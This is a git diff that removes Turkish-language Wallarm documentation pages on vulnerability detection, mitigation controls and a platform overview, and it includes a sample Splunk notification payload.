etmek](../about-wallarm/detecting-vulnerabilities.md) için kullandığı yöntemlerden biri **Threat Replay Testing**'dir. - -**Threat Replay Testing**, saldırganları penetrasyon test uzmanlarına dönüştürmenizi ve uygulamalarınızı/API'lerinizi güvenlik açıkları için yoklarken faaliyetlerinden olası güvenlik sorunlarını keşfetmenizi sağlar. Bu modül, trafikten gelen gerçek saldırı verilerini kullanarak uygulama uç noktalarını yoklayıp olası güvenlik açıklarını bulur. Varsayılan olarak bu yöntem devre dışıdır. - -**Threat Replay Testing** modülü yapılandırması için en iyi uygulamaları öğrenin →](../vulnerability-detection/threat-replay-testing/setup.md) \ No newline at end of file diff --git a/docs/latest-tr/about-wallarm/detecting-vulnerabilities.md b/docs/latest-tr/about-wallarm/detecting-vulnerabilities.md deleted file mode 100644 index 31a491cdcf..0000000000 --- a/docs/latest-tr/about-wallarm/detecting-vulnerabilities.md +++ /dev/null @@ -1,136 +0,0 @@ -# Güvenlik Açıklarını Tespit Etme - -Bir uygulamayı oluştururken veya uygularken ihmalkârlık ya da yetersiz bilgi nedeniyle saldırılara karşı savunmasız olabilir. Bu makalede, Wallarm platformunun uygulama güvenlik açıklarını nasıl tespit ettiğini ve sistem güvenliğini güçlendirmenize nasıl olanak tanıdığını öğreneceksiniz. - -## Güvenlik açığı nedir? - -Güvenlik açığı, bir uygulama oluşturulurken veya uygulanırken ihmalkârlık ya da yetersiz bilgi nedeniyle yapılan bir hatadır. Bir saldırgan, bir uygulama içinde yetki sınırlarını aşmak (ör. yetkisiz işlemler gerçekleştirmek) için güvenlik açığından yararlanabilir. - -## Güvenlik açığı tespit yöntemleri - -Uygulama, aktif güvenlik açıkları açısından taranırken Wallarm, korunan uygulamanın adresine saldırı işaretleri taşıyan istekler gönderir ve uygulama yanıtlarını analiz eder. Yanıt, önceden tanımlanmış bir veya daha fazla güvenlik açığı işaretiyle eşleşirse, Wallarm aktif güvenlik açığını kaydeder. - -Örneğin: `/etc/passwd` içeriğini okumak için gönderilen isteğin yanıtı gerçekten `/etc/passwd` içeriğini dönerse, korunan uygulama Path Traversal saldırılarına karşı savunmasızdır. Wallarm, uygun türle bir güvenlik açığı kaydedecektir. - -Uygulamadaki güvenlik açıklarını tespit etmek için Wallarm aşağıdaki yöntemleri kullanır: - -* **Pasif tespit**: gerçek trafiği (istekler ve yanıtlar) analiz ederek güvenlik açıklarını tanımlar. Bu, gerçek bir açığın istismar edildiği bir güvenlik olayı sırasında veya istekler doğrudan istismar olmadan, örneğin ele geçirilmiş JWT’ler gibi güvenlik açığı belirtileri gösterdiğinde gerçekleşebilir. -* **Threat Replay Testing**: saldırganları kendi sızma test uzmanlarınıza dönüştürür ve uygulama/API’lerinizi güvenlik açıkları için yoklarken faaliyetlerinden olası güvenlik sorunlarını keşfetmenizi sağlar. Bu modül, trafikteki gerçek saldırı verilerini kullanarak uygulama uç noktalarını yoklayıp olası güvenlik açıklarını bulur. Varsayılan olarak bu yöntem devre dışıdır. -* **API Attack Surface Management (AASM)**: API’larıyla birlikte harici host’ları keşfeder, her biri için eksik WAF/WAAP çözümlerini ve güvenlik açıklarını belirler. -* **API Discovery içgörüleri**: [API Discovery](../api-discovery/overview.md) modülünün GET isteklerinin sorgu parametrelerinde Kişisel Tanımlanabilir Bilgiler (PII) aktarımı nedeniyle bulduğu güvenlik açığı. - -### Pasif tespit - -Pasif tespit, istekler ve yanıtlar dahil olmak üzere gerçek trafiği analiz ederek güvenlik açıklarını tanımlamaya karşılık gelir. Kötü amaçlı bir isteğin bir açığı başarıyla istismar ettiği bir güvenlik olayı sırasında hem olay hem de güvenlik açığı tespit edilebilir. Ya da istekler, doğrudan istismar olmaksızın, örneğin ele geçirilmiş JWT’ler gibi güvenlik açığı belirtileri gösterdiğinde. - -Pasif güvenlik açığı tespiti varsayılan olarak etkindir. - -### Threat Replay Testing - -Wallarm’ın Threat Replay Testing özelliği saldırganları kendi sızma test uzmanlarınıza dönüştürür. İlk saldırı girişimlerini analiz eder, ardından aynı saldırının istismar edilebileceği diğer yolları keşfeder. Bu, orijinal saldırganların bile bulamadığı zayıf noktaları ortaya çıkarır. [Daha fazla bilgi](../vulnerability-detection/threat-replay-testing/overview.md) - -Threat Replay Testing’in yetenekleri: - -* **Gerçek zamanlı test**: Canlı saldırı verilerini kullanarak mevcut ve gelecekte ortaya çıkabilecek zayıf noktaları saptar, sizi saldırganların bir adım önünde tutar. -* **Güvenli ve akıllı simülasyon**: Testlerde hassas kimlik doğrulama ayrıntılarını atlar ve zararlı kodu çıkarır. Gerçek zarara yol açmadan maksimum güvenlik için saldırı tekniklerini simüle eder. -* **Güvenli üretim dışı testler**: Gerçek üretim verilerini kullanarak ancak sistem aşırı yüklenmesi veya veri ifşası gibi riskler olmadan [sahneleme (staging) veya geliştirme ortamında güvenlik açığı kontrolleri çalıştırmanızı sağlar](../vulnerability-detection/threat-replay-testing/setup.md). - -### API Attack Surface Management (AASM) - -#### Nasıl çalışır - -Wallarm’ın [API Attack Surface Management](../api-attack-surface/overview.md) (AASM) çözümü, API ekosistemine özel, ajan gerektirmeyen bir tespit çözümüdür; harici host’ları ve API’larını keşfetmek, eksik WAF/WAAP çözümlerini belirlemek ve API Sızıntıları ile diğer güvenlik açıklarını azaltmak için tasarlanmıştır. - -#### Yapılandırma - -Seçtiğiniz alan adları altındaki host’ları tespit etmek ve bu host’larla ilgili güvenlik sorunlarını aramak için API Attack Surface Management’ı etkinleştirip yapılandırırsınız; ayrıntılar [burada](../api-attack-surface/setup.md) açıklanmıştır. - -Tespit edilen host’lar için Wallarm otomatik olarak [güvenlik açıklarını arayacaktır](../api-attack-surface/security-issues.md). - -#### Eski Scanner’ın yerine geçmesi - -7 Mayıs 2025’ten itibaren, AASM host ve API keşfi için daha gelişmiş ve konforlu bir araç olarak [eski Scanner’ın yerini aldı](../api-attack-surface/api-surface.md#replacement-of-old-scanner). - -### API Discovery içgörüleri - -[API Discovery](../api-discovery/overview.md) modülünün kimliği belirlenebilen kişisel bilgiler (PII) içeren GET isteklerinin sorgu parametrelerini aktardığını belirlediği uç noktalar için, Wallarm bu uç noktaları [bilgi ifşası](../attacks-vulns-list.md#information-exposure) güvenlik açığına sahip olarak tanır (bkz. [CWE-598](https://cwe.mitre.org/data/definitions/598.html)). - -## Yanlış pozitifler - -**Yanlış pozitif**, saldırı işaretleri meşru bir istekte tespit edildiğinde veya meşru bir unsur bir güvenlik açığı olarak nitelendirildiğinde oluşur. [Saldırı tespitinde yanlış pozitifler hakkında daha fazla bilgi →](protecting-against-attacks.md#false-positives) - -Güvenlik açığı taramasında yanlış pozitifler, korunan uygulamanın özellikleri nedeniyle ortaya çıkabilir. Benzer isteklere verilen benzer yanıtlar, bir korunan uygulamada aktif bir güvenlik açığına işaret ederken başka bir korunan uygulamanın beklenen davranışı olabilir. - -Bir güvenlik açığı için yanlış pozitif tespit edilirse, Wallarm Console içinde güvenlik açığına uygun bir işaret ekleyebilirsiniz. Yanlış pozitif olarak işaretlenen bir güvenlik açığı kapatılır ve yeniden kontrol edilmez. - -Tespit edilen güvenlik açığı korunan uygulamada mevcutsa ancak düzeltilemiyorsa, [**Create a virtual patch**](../user-guides/rules/vpatch-rule.md) kuralını ayarlamanızı öneririz. Bu kural, tespit edilen güvenlik açığı türünden yararlanan saldırıları engellemeye olanak tanır ve olay riskini ortadan kaldırır. - -## Keşfedilen güvenlik açıklarını yönetme - -Tespit edilen tüm güvenlik açıkları Wallarm Console → **Vulnerabilities** bölümünde görüntülenir. Güvenlik açıklarını arayüz üzerinden şu şekilde yönetebilirsiniz: - -* Güvenlik açıklarını görüntüleyin ve analiz edin -* Güvenlik açığı durum doğrulamasını çalıştırın: hâlâ aktif mi yoksa uygulama tarafında giderildi mi -* Güvenlik açıklarını kapatın veya yanlış pozitif olarak işaretleyin - -![Vulnerabilities bölümü](../images/user-guides/vulnerabilities/check-vuln.png) - -Wallarm platformunun [**API Discovery** modülünü](../api-discovery/overview.md) kullanıyorsanız, güvenlik açıkları keşfedilen API uç noktalarıyla ilişkilendirilir, örneğin: - -![API Discovery - Risk score](../images/about-wallarm-waf/api-discovery/api-discovery-risk-score.png) - -Güvenlik açıklarını yönetme hakkında daha fazla bilgi için, [güvenlik açıklarıyla çalışma](../user-guides/vulnerabilities.md) talimatlarına bakın. - -## Keşfedilen güvenlik açıkları hakkında bildirimler - -Wallarm, keşfedilen güvenlik açıkları hakkında size bildirim gönderebilir. Bu sayede uygulamalarınızdaki yeni güvenlik açıklarından haberdar olur ve hızlıca tepki verebilirsiniz. Güvenlik açıklarına verilen tepkiler arasında uygulama tarafında düzeltme yapmak, yanlış pozitifleri raporlamak ve sanal yamaları uygulamak yer alır. - -Bildirimleri yapılandırmak için: - -1. Bildirim göndermek istediğiniz sistemle [yerel entegrasyonu](../user-guides/settings/integrations/integrations-intro.md) oluşturun (örn. PagerDuty, Opsgenie, Splunk, Slack, Telegram). -2. Entegrasyon kartında, mevcut olaylar listesinden **Vulnerabilities detected** seçin. - -Tespit edilen güvenlik açığına ilişkin Splunk bildirimi örneği: - -```json -{ - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } -} -``` \ No newline at end of file diff --git a/docs/latest-tr/about-wallarm/mitigation-controls-overview.md b/docs/latest-tr/about-wallarm/mitigation-controls-overview.md deleted file mode 100644 index 2a2031d08a..0000000000 --- a/docs/latest-tr/about-wallarm/mitigation-controls-overview.md +++ /dev/null @@ -1,157 +0,0 @@ -[link-cloud-node-synchronization]: ../admin-en/configure-cloud-node-synchronization-en.md -[img-rules-create-backup]: ../images/user-guides/rules/rules-create-backup.png - -# Azaltma Kontrolleri - -Azaltma kontrolleri, Wallarm'ın [saldırı korumasını](protecting-against-attacks.md#tools-for-attack-detection) ek güvenlik önlemleriyle genişletir ve Wallarm davranışını ince ayar yapmanıza olanak tanır. - -## Azaltma kontrolleriyle neler yapabilirsiniz - -Azaltma kontrollerini kullanarak aşağıdakileri etkinleştirebilir ve yapılandırabilirsiniz: - -* [Real-time blocking mode](../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) -* [GraphQL API protection](../api-protection/graphql-rule.md) -* [Enumeration attack protection](../api-protection/enumeration-attack-protection.md) -* [BOLA enumeration protection](../api-protection/enumeration-attack-protection.md) -* [Forced browsing protection](../api-protection/enumeration-attack-protection.md) -* [Brute force protection](../api-protection/enumeration-attack-protection.md) -* [DoS protection](../api-protection/dos-protection.md) -* [File upload restriction policy](../api-protection/file-upload-restriction.md) - -## Azaltma kontrolü dalları - - -Azaltma kontrolleri, uç nokta URI'ları ve diğer koşullara göre otomatik olarak iç içe dallar halinde gruplanır. Bu, azaltma kontrolü etkilerinin aşağıya doğru devralındığı ağaç benzeri bir yapı oluşturur. İlkeler: - -* Tüm dallar [tüm trafiğe](#scope) uygulanan azaltma kontrollerini devralır. -* Bir dalda, alt uç noktalar azaltma kontrolü etkilerini üstten devralır. -* Ayrık olan, devralınana göre önceliklidir. -* Doğrudan belirtilen, regex ile belirlenene göre önceliklidir. -* Büyük/küçük harfe duyarlı olan, duyarsız olana göre önceliklidir. - -## Etkinleştirme - -Azaltma kontrolleri için gereklidir: - -* [Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans) abonelik planı -* (çoğu kontrol için) [NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.0.1 veya [Native Node](../installation/nginx-native-node-internals.md#native-node) 0.14.1 - -Bunların hepsi varsa ve yine de Wallarm Console içinde **Security controls** → **Mitigation Controls** bölümünü görmüyorsanız, etkinleştirilmeleri için [Wallarm support team](https://support.wallarm.com/) ile iletişime geçin. - -## Yapılandırma - -Yapılandırmayı Wallarm Console içindeki **Security controls** → **Mitigation Controls** bölümünde gerçekleştirin. Ayrıca sistemin diğer yerlerinden, örneğin API Sessions içinden bazı azaltma kontrol ayarlarına erişebilirsiniz. - -![UI'de Mitigation Controls sayfası](../images/user-guides/mitigation-controls/mc-main-page.png) - -Yapılandırmadan önce, [dallar](#mitigation-control-branches) fikrine aşina olun ve halihazırda nelerin var olduğunu kontrol edin. - -Genel olarak, herhangi bir azaltma kontrolünün yapılandırılması aşağıdaki adımları içerir: - -1. İsteğe bağlı olarak özel **Title** belirleyin. -1. Koşulları ayarlayın (hepsi karşılandığında → eylem). -1. Eylemi ayarlayın (Mitigation mode). - -### Kapsam - - -**Scope**, kontrolün hangi isteklere uygulanacağını (URI ve diğer parametrelere göre) tanımlar. Kurallardaki istek koşullarıyla aynı şekilde yapılandırılır. Ayrıntılar için [buraya](../user-guides/rules/rules.md#configuring) bakın. - -**Scope** bölümünü boş bırakırsanız, azaltma kontrolü **tüm trafik** ve **tüm uygulamalar** için uygulanır; bu tür kontroller tüm [dallar](#mitigation-control-branches) tarafından devralınır. - -### Gelişmiş koşullar - -[Scope](#scope) dışında, azaltma kontrolü eyleme geçip geçmeyeceğini tanımlayan diğer koşulları da içerebilir, örneğin: - -* [GraphQL API protection](../api-protection/graphql-rule.md) için bunlar politika pozisyonlarıdır - kontrol yalnızca bunlardan herhangi biri istek tarafından ihlal edilirse eyleme geçer. -* [Enumeration attack protection](../api-protection/enumeration-attack-protection.md) için bunlar isteklerin birden çok parametresidir - kontrol yalnızca belirtilen tüm parametre/değerler karşılanırsa eyleme geçer. - -Bazı kontroller için, örneğin [Enumeration attack protection](../api-protection/enumeration-attack-protection.md) veya [DoS protection](../api-protection/dos-protection.md) gibi, **Scope filters** bölümünde, **API Sessions** içinde [önemli olarak tanımlanmış](../api-sessions/setup.md#session-context) olanların listesinden parametreleri hızlıca seçmek için **session context parameters** kullanabilirsiniz. Bu bölümde **Add custom** seçeneğini kullanarak, şu anda **API Sessions** içinde bulunmayan parametreleri filtre olarak ekleyin. Bunu yaparsanız, bu parametreler **API Sessions**'ın context parameters listesine de eklenir (gizli, yani bu parametreleri isteklerde bulunurlarsa oturum ayrıntılarında görürsünüz, ancak API Session [context parameter configuration](../api-sessions/setup.md#session-context) içinde görmezsiniz). - -Gelişmiş koşulları belirtmek için [düzenli ifadeleri](#regular-expressions) kullanabilirsiniz. - -### Azaltma modu - - -Tüm koşullar karşılandığında, azaltma kontrolü eylemini gerçekleştirir. Gerekli eylem **Mitigation mode** bölümünde seçilir: - -| Mitigation mode | Açıklama | -| --- | --- | -| **Inherited** | Mod, [tüm trafik için **Real-time blocking mode**](../admin-en/configure-wallarm-mode.md#general-filtration-mode) ve Wallarm düğümünün [configuration](../admin-en/configure-wallarm-mode.md#setting-wallarm_mode-directive) ayarlarından devralınır. | -| **Monitoring** | Yalnızca tespit edilen saldırıları kaydeder; engelleme yapılmaz. Kaydedilen saldırılar **API Sessions** içinde ilgili [session details](../api-sessions/exploring.md#specific-activities-within-session) bölümünde görüntülenir.
            Bazı kontroller için, bu modda ayrıca kaynak IP'yi [Graylist](../user-guides/ip-lists/overview.md)'e ekleme seçeneğini de belirleyebilirsiniz. | -| **Blocking** | Saldırıları kaydeder ve engeller. [Engelleme yöntemleri](../about-wallarm/protecting-against-attacks.md#attack-handling-process) kontrol tipine göre değişir: gerçek zamanlı engelleme, [IP tabanlı engelleme](../user-guides/ip-lists/overview.md) veya oturum tabanlı engelleme*. | -| **Excluding** | [Belirtilen kapsam](#mitigation-control-branches) için bu tür bir azaltma kontrolünü durdurur. Ayrıntılar için [Excluding mode vs. disabling](#excluding-mode-vs-disabling) bölümüne bakın. | -| **Safe blocking** | Saldırıları kaydeder ancak yalnızca kaynak IP [graylisted](../user-guides/ip-lists/overview.md) ise engeller. | - -* Oturum tabanlı engelleme şu anda desteklenmemektedir. - -Mevcut modların listesi, belirli kontrole bağlı olarak değişebilir. - -### Excluding modu ve devre dışı bırakma - - -Azaltma kontrolünü geçici olarak devre dışı bırakmak ve gerektiğinde yeniden etkinleştirmek için **On/Off** anahtarını kullanabilirsiniz. Devre dışı bırakılmış bir azaltma kontrolü ile **Excluding** azaltma modunda etkinleştirilmiş olan arasındaki farkı anlamak için aşağıdaki örneği dikkate alın: - -* Kontrollerin [dallarda çalıştığını](#mitigation-control-branches) dikkate alın. -* Diyelim ki `example.com` için [DoS protection](../api-protection/dos-protection.md) kontrolünüz (dakikada 50 istek) ve bunun alt dalı olan `example.com/login` için aynı türden bir kontrolünüz (dakikada 10 istek) var. Bu, `example.com` altındaki tüm adresler için dakikada 50 istek kısıtlaması, `example.com/login` altındaki adreslerde ise daha sıkı olarak dakikada 10 istek kısıtlaması olacaktır. -* `example.com/login` için hız kötüye kullanım koruma kontrolünü **Off** konumuna alarak devre dışı bırakırsanız, bu kontrol hiçbir şey yapmayı bırakır (sanki silmişsiniz gibi) - tüm kapsam için kısıtlama üst kontrolden (dakikada 50 istek) belirlenecektir. -* `example.com/login` için hız kötüye kullanım koruma kontrolünü yeniden etkinleştirir ve azaltma modunu **Excluding** olarak ayarlarsanız, bu dal için hız kötüye kullanım korumasını durdurur - tüm `example.com` için kısıtlama dakikada 50 istek olur, ancak `example.com/login` için hız kötüye kullanım koruması türünde hiçbir kısıtlama olmaz. - -### Düzenli ifadeler - - -**Scope**, **Scope filters** ve diğerleri gibi farklı azaltma kontrol parametrelerini belirtmek için düzenli ifadeleri kullanabilirsiniz: - -* **Scope** bölümü PIRE düzenli ifade kütüphanesini kullanır. Kullanım ayrıntıları için [buraya](../user-guides/rules/rules.md#condition-type-regex) bakın. -* Diğer bölümler [PCRE](https://www.pcre.org/) kullanır. Düzenli ifadeyi dahil etmek için aşağıdaki operatörleri kullanın: - - | Operatör | Açıklama | - | --- | --- | - | ~ (Aa) | Büyük/küçük harfe duyarsız regexp ile bir şeyi bulun. | - | !~ (Aa) | Büyük/küçük harfe duyarsız regexp ile bir şeyi hariç tutun. | - | ~ | Büyük/küçük harfe duyarlı regexp ile bir şeyi bulun. | - | !~ | Büyük/küçük harfe duyarlı regexp ile bir şeyi hariç tutun. | - -## Varsayılan kontroller - -Wallarm, etkinleştirildiğinde Wallarm platformunun tespit kabiliyetlerini önemli ölçüde artıran bir dizi **varsayılan azaltma kontrolü** sağlar. Bu kontroller, çeşitli yaygın saldırı kalıplarına karşı sağlam koruma sağlamak üzere önceden yapılandırılmıştır. Mevcut varsayılan azaltma kontrolleri şunları içerir: - -* [GraphQL protection](../api-protection/graphql-rule.md) -* Kullanıcı kimlikleri, nesne kimlikleri ve dosya adları için [BOLA (Broken Object Level Authorization) enumeration protection](../api-protection/enumeration-attack-protection.md#bola) -* Parolalar, OTP'ler ve kimlik doğrulama kodları için [Brute force protection](../api-protection/enumeration-attack-protection.md#brute-force) -* [Forced browsing protection](../api-protection/enumeration-attack-protection.md#forced-browsing) (404 yoklama) -* Şunları içeren [Enumeration attack protection](../api-protection/enumeration-attack-protection.md#generic-enumeration): - - * Kullanıcı/e-posta enumeration - * SSRF (Server-Side Request Forgery) enumeration - * User-agent rotasyonu - -Varsayılan setten gelen tüm kontroller `Default` etiketi taşır. Bu tür kontroller: - -* Yeni müşteriler için Wallarm tarafından otomatik olarak eklenir ve etkin (`On`), diğerleri için devre dışı (`Off`) olarak gelir. - - !!! info "Varsayılan kontrollerin bulunmaması" - [Obligatory](#obligatory_default_controls) olanlar dışında herhangi bir varsayılan kontrol görmüyorsanız ve bunları keşfetmek ve denemek istiyorsanız, bunları almak için [Wallarm support team](https://support.wallarm.com/) ile iletişime geçin. - -* Başlangıçta [tüm trafik](#scope) için uygulanır (değiştirilebilir). -* Başlangıçta `Monitoring` [mitigation mode](#mitigation-mode) kullanır (değiştirilebilir). -* Silinemez. -* Diğerleri gibi devre dışı bırakılabilir/yeniden etkinleştirilebilir ve düzenlenebilir. Düzenleme, herhangi bir varsayılan kontrolü uygulamanın özel ihtiyaçlarına, trafik kalıplarına veya iş bağlamına göre özelleştirmenize olanak tanır. Örneğin, varsayılan eşikleri ayarlayabilir veya **Scope filters** bölümü üzerinden belirli uç noktaları hariç tutabilirsiniz. - - -![Varsayılan azaltma kontrolleri](../images/user-guides/mitigation-controls/mc-defaults.png) - ---8<-- "../include/mc-subject-to-change.md" - -**Zorunlu varsayılan kontroller** - -* Tüm trafik için [Real-time blocking mode](../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) kontrolü -* [Overlimit res](../user-guides/rules/configure-overlimit-res-detection.md) - -## Kural seti yaşam döngüsü - -Oluşturulan tüm azaltma kontrolleri ve [kurallar](../user-guides/rules/rules.md) özel bir kural seti oluşturur. Wallarm düğümü, gelen isteklerin analizinde özel kural setine dayanır. - -Kurallardaki ve azaltma kontrollerindeki değişiklikler anında etkili olmaz. Değişiklikler, özel kural seti **oluşturulması** ve **filtreleme düğümüne yüklenmesi** tamamlandıktan sonra istek analiz sürecine uygulanır. - ---8<-- "../include/custom-ruleset.md" \ No newline at end of file diff --git a/docs/latest-tr/about-wallarm/overview.md b/docs/latest-tr/about-wallarm/overview.md deleted file mode 100644 index e8bbed2b94..0000000000 --- a/docs/latest-tr/about-wallarm/overview.md +++ /dev/null @@ -1,95 +0,0 @@ -[link-deployment-se]: ../installation/security-edge/overview.md -[link-deployment-hybrid]: ../installation/supported-deployment-options.md - -# Wallarm Platform’a Genel Bakış - -Günümüzün dijital dünyasında, özellikle yapay zekânın yükselişiyle birlikte API’ler artan tehditlerle karşı karşıya. Geleneksel güvenlik, API zafiyetlerini gözden kaçırabilir veya devreye almak zor olabilir. Wallarm ile bulut-yerel ve kendi kendine barındırılan ortamlar genelinde API koruması ve envanter gözlemlenebilirliği için tek bir platform elde edersiniz. - -Kuruluşlar, gelişmiş API güvenliği, kolay dağıtım ve sağladığı değer nedeniyle Wallarm’ı tercih ediyor. Wallarm; API keşfi, risk yönetimi, gerçek zamanlı koruma ve testleri gelişmiş API güvenlik yetenekleriyle birleştirir. - -![Diyagram](../images/about-wallarm-waf/overview/wallarm-features.png) - -## Keşfet - -Korumak için önce bilmek gerekir. Wallarm, ortamınızdaki API’leri belirlemek ve güvenlik risklerini değerlendirmek için kapsamlı API keşfi yetenekleri sunar. Wallarm’ın API keşfi şunları yapar: - -* [API uç noktalarınızı ve bunların parametrelerini algılar](../api-discovery/overview.md) ve tutarlı trafik analiziyle API görünümünü sürekli günceller. -* Gölge, yetim ve zombi API’ler dahil [sapkın uç noktaları tanımlar](../api-discovery/rogue-api.md). -* Kişisel tanımlanabilir bilgi (PII) gibi hassas verileri açığa çıkarabilecek uç noktaları belirler. -* [Her bir uç noktayı güvenlik riskleri ve zafiyetler açısından değerlendirir](../api-discovery/risk-score.md) ve bir risk skoru sağlar. - -![API Discovery tarafından keşfedilen uç noktalar](../images/about-wallarm-waf/api-discovery/discovered-api-endpoints.png) - -## Koru - -Wallarm, keşfi genişleterek trafikteki uygulama ve API saldırılarını tespit edip engelleyerek gerçek koruma sağlar. Wallarm’ın tescilli tespit teknikleri, [OWASP Top 10](https://owasp.org/www-project-top-ten/) ve [OWASP API Top 10](https://owasp.org/www-project-api-security/) zafiyetlerine yönelik saldırıların tespiti dâhil yüksek doğrulukta sonuçlar sunar. Wallarm korumayı şöyle sağlar: - -* Saldırıları hem [inline](../installation/inline/overview.md) hem de [out-of-band](../installation/oob/overview.md) olarak tespit eder. -* Kod enjeksiyonları, uzaktan kod yürütme, kaba kuvvet, BOLA ve daha fazlası gibi web tabanlı olanlardan API’ye özgü olanlara kadar [çeşitli tehditlerle](../attacks-vulns-list.md) mücadele eder. -* [API’ye özgü kötü amaçlı bot suistimalini](../api-abuse-prevention/overview.md) belirler. -* Özelleştirilebilir [rate limiting](../user-guides/rules/rate-limiting.md) ile Katman 7 Hizmet Engelleme (DoS) saldırılarını bertaraf eder. -* Yerleşik önlemleri tamamlayacak şekilde kendi tehdit tanımlarını belirleyerek [özel savunmalar](../user-guides/rules/regex-rule.md) oluşturmanıza olanak tanır. -* Kritik olayları vurgulamak için saldırıları sisteminizdeki zafiyetlerle eşleştirir. -* [Kimlik bilgisi doldurma (credential stuffing) girişimlerini](../about-wallarm/credential-stuffing.md) tespit eder. - -## Yanıtla - -Wallarm, derinlemesine veriler, geniş entegrasyonlar ve engelleme mekanizmaları sunarak güvenlik tehditlerine etkin biçimde yanıt vermeniz için araçlar sağlar. Önce ayrıntılı bilgiler sunar, böylece güvenlik analistleri tehdidin doğasını ve ciddiyetini değerlendirir. Ardından yanıtları özelleştirip tehditlere karşı harekete geçebilir ve ilgili sistemlere uyarılar gönderebilirsiniz. Wallarm sizi şöyle destekler: - -* Başlıklardan gövdeye bir saldırının her yönünü ayrıntılandıran, kodlanmış isteklerin açılmış hâlini de içeren [derin saldırı incelemesi](../user-guides/events/check-attack.md). -* VPN’ler ve Tor ağları gibi şüpheli trafik kaynaklarını engellemek için [coğrafi konuma dayalı kontroller](../user-guides/ip-lists/overview.md). -* Kötü amaçlı etkinliklerin API’lerinize ulaşmasını önleyen [saldırı engelleme önlemleri](../admin-en/configure-wallarm-mode.md#available-filtration-modes). -* Tespit edilen güvenlik tehditleri hakkında biletler, bildirimler ve veriler oluşturmak için en yaygın güvenlik, operasyon ve geliştirme araçlarıyla [Integrations](../user-guides/settings/integrations/integrations-intro.md). Uyumlu platformlar arasında Slack, Sumo Logic, Splunk, Microsoft Sentinel ve daha fazlası bulunur. -* Wallarm’ın zafiyet tespitiyle vurgulanan acil sorunlar için [Virtual patches](../user-guides/rules/vpatch-rule.md). - -![Olaylar](../images/about-wallarm-waf/overview/events-with-attacks.png) - -## Test Et - -Dağıtılmış riski yönetmek birinci savunma hattıdır, ancak ürün uygulamaları ve API’lerin sergilediği riski azaltmak, olay sayısını düşürmenin en etkili yoludur. Wallarm, aşağıdaki gibi zafiyet riskini bulup ortadan kaldırmaya yönelik bir test yetenekleri paketi sağlayarak uygulama ve API güvenliği döngüsünü kapatır: - -* [Pasif trafik analiziyle zafiyetleri belirler](../user-guides/vulnerabilities.md). -* Belirlenen API’leri zayıf noktalar açısından inceler. -* Gözlemlenen trafikten [dinamik olarak API güvenlik testleri oluşturur](../vulnerability-detection/threat-replay-testing/overview.md). -* [Açığa çıkan API belirteçleri için herkese açık depoları kontrol eder](../api-attack-surface/security-issues.md). - -![Zafiyetler](../images/about-wallarm-waf/overview/vulnerabilities.png) - -## Wallarm nasıl çalışır - -Wallarm’ın platformu esas olarak iki ana bileşen üzerine kuruludur: Wallarm filtreleme düğümü ve Wallarm Cloud. - -![Mimari şema1](../images/about-wallarm-waf/overview/filtering-node-cloud.png) - -### Filtreleme düğümü - -İnternet ile API’leriniz arasına konumlanan Wallarm filtreleme düğümü: - -* Şirketin tüm ağ trafiğini analiz eder ve kötü niyetli istekleri etkisizleştirir. -* Ağ trafiği metriklerini toplar ve bu metrikleri Wallarm Cloud’a yükler. -* Wallarm Cloud’da tanımladığınız kaynağa özel güvenlik kurallarını indirir ve bunları trafik analizi sırasında uygular. -* İsteklerinizdeki hassas verileri tespit eder; bu verilerin altyapınız içinde güvende kalmasını sağlar ve üçüncü taraf bir hizmet olan Bulut’a iletilmemesini temin eder. - -Wallarm filtreleme düğümünü [kendi ağınız içinde](../installation/supported-deployment-options.md) kurabilir veya [Wallarm Security Edge](../installation/security-edge/overview.md) seçeneğini tercih edebilirsiniz. - -### Bulut - -Wallarm Cloud şunları yapar: - -* Filtreleme düğümünün yüklediği metrikleri işler. -* Özel, kaynağa özgü güvenlik kuralları derler. -* Şirketin açıkta olan varlıklarını zafiyetleri tespit etmek üzere tarar. -* Filtreleme düğümünden alınan trafik metriklerine dayanarak API yapısını oluşturur. -* Wallarm Console UI barındırır; Wallarm platformunda gezinmek ve yapılandırmak için komuta merkeziniz olup tüm güvenlik içgörülerine kapsamlı bir bakış sağlar. - -Wallarm, ABD ve Avrupa’da bulut örnekleri sunar; veri depolama tercihlerinizi ve bölgesel hizmet işletim gereksinimlerinizi göz önünde bulundurarak en uygun olanı seçmenize olanak tanır. - -[US Wallarm Cloud’da kaydolmaya devam edin](https://us1.my.wallarm.com/signup) - -[EU Wallarm Cloud’da kaydolmaya devam edin](https://my.wallarm.com/signup) - -## Wallarm nerede çalışır - -[açıklanan](#how-wallarm-works) Wallarm bileşenleri: filtreleme düğümü ve Bulut — üç biçimden birinde dağıtılabilir: - ---8<-- "../include/deployment-forms.md" \ No newline at end of file diff --git a/docs/latest-tr/about-wallarm/protecting-against-attacks.md b/docs/latest-tr/about-wallarm/protecting-against-attacks.md deleted file mode 100644 index 3a6e907f3f..0000000000 --- a/docs/latest-tr/about-wallarm/protecting-against-attacks.md +++ /dev/null @@ -1,234 +0,0 @@ -[rule-creation-options]: ../user-guides/events/check-attack.md#attack-analysis_1 -[request-processing]: ../user-guides/rules/request-processing.md -[api-discovery-enable-link]: ../api-discovery/setup.md#enable - -# Saldırı Tespit Prosedürü - -Wallarm platformu API trafiğini sürekli analiz eder ve kötü amaçlı istekleri gerçek zamanlı olarak etkisiz hale getirir. Bu makalede, Wallarm'ın saldırılara karşı koruduğu kaynak türlerini, trafikte saldırıları tespit yöntemlerini ve tespit edilen tehditleri nasıl takip edip yöneteceğinizi öğreneceksiniz. - -## Saldırı nedir ve saldırının bileşenleri nelerdir? - -
            - -
            - -
            -
